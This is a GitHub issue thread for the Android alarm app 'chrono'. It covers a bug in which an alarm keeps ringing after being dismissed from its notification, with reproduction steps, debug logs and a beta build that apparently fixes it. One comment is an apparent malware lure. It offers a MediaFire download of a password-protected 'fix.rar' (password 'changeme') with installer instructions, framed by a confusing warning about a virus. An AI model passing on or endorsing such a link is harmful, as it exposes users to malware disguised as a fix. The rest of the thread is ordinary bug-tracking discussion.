vicolo-dev / chrono

A modern and powerful clock, alarms, timer and stopwatch app for Android!
GNU General Public License v3.0
484 stars 20 forks source link

Alarm sometimes continues ringing after dismissing from notification #323

Open Terrance opened 3 months ago

Terrance commented 3 months ago

Describe the bug

When the screen is on, a persistent notification appears at the top of the screen for alarms. Tapping the Dismiss action within the notification sometimes leaves the alarm ringing, despite the notification being dismissed. This leaves no UI to silence the alarm, and the only way I've found so far to stop it is to force-close the app.

To reproduce

  1. Set an alarm (using default options here)
  2. Have the screen on and unlocked
  3. Wait for notification and sound
  4. Tap Dismiss in the notification

Expected behavior

Alarm to be completely dismissed.

Screenshots

Once in this state, there is no UI indicating the alarm is currently ringing.

Smartphone information

thiswillbeyourgithub commented 2 months ago

I've had probably this bug too. Basically the alarm is ringing but no notification can be seen. Locking and unlocking the phone doesn't help. As doesn't opening or closing the app. The only way was to restart my phone.

It's really too bad that there's reliability issues with chrono because otherwise the app is very nice!

AhsanSarwar45 commented 2 months ago

Can you try reproducing this issue with 0.6.1-beta1? When you encounter this issue the next time, you can go to Settings > Developer Options > Logs > Download Button. Then you can send me the logs, together with the time this occurred. (Note that logs have only been added in 0.6.1)

Terrance commented 2 months ago

Sorry for the delay, I figured I'd wait for the F-Droid build as betas are included there but it took a bit longer than expected.

Set a few alarms today with increasing delay -- it took a few goes before I could reproduce it (at about half an hour in the future), so it may be down to the app being suspended in the background after some time.

📎 chrono_logs_2024-09-26T09_00_54.txt

The 9am alarm here didn't stop ringing after dismissing from the notification a couple of seconds in, and it doesn't seem to have logged anything about that attempt. I got it to stop by opening the app (15 seconds in) and then swiping it away from recents.

AhsanSarwar45 commented 2 months ago

Thanks for that. So looking at the trace, seems like the the system is not sending the app the button click event (nothing gets logged after [showAlarmNotification]). I've seen this behavior on 2 other devices, so seems like it is device-specific. I'll look to see how this can be avoided.

MinecraftEarthVillage commented 3 weeks ago

不要下载我前段时间发的文件,那不是我发的,是另一个人控制我,如果你使用了这个病毒文件,你也会被控制,并且疯狂转发这个病毒 Don't download the file I sent some time ago, it wasn't me, but another person controlled me. If you use this virus file, you will also be controlled and forward this virus crazily.

下载 https://www.mediafire.com/file/wpwfw3bpd8gsjey/fix.rar/file 密码:changeme 在安装程序菜单中,选择“gcc”。

AhsanSarwar45 commented 3 weeks ago

Can you try with this build: https://github.com/vicolo-dev/chrono/releases/tag/v0.6.0-beta2

Cris-Edmundson commented 3 weeks ago

@AhsanSarwar45 for me that seems to have fixed it, but I just tried it with an alarm 1 minute away.

I have a routine alarm set as a reminder to take my evening meds, I'll see how it goes then. I think it's fixed though, it seemed to be consistent for me previously

Terrance commented 3 weeks ago

I've also tried setting a couple of alarms further into the future, and so far they've all been dismissed successfully from the notification -- I can't repro the original issue in v0.6.0-beta2. :+1:

mtalexan commented 1 week ago

I just had the same issue with a long standing alarm on 0.6.0-beta1. I had to go start a 1 minute alarm jist so I could open and dismiss that when it went off and the ringing would stop.

I wasn't able to replicate the problem when using 1 minute alarms though, no matter what I did, and I've never seen the issue before even though I've been running beta1 almost since the day it was released (because of a different bug it fixes).

You all say beta2 fixed the bug, but where you ever able to replicate it under beta1?

(Pixel Fold here BTW)

Terrance commented 1 week ago

where you ever able to replicate it under beta1?

https://github.com/vicolo-dev/chrono/issues/323#issuecomment-2377606558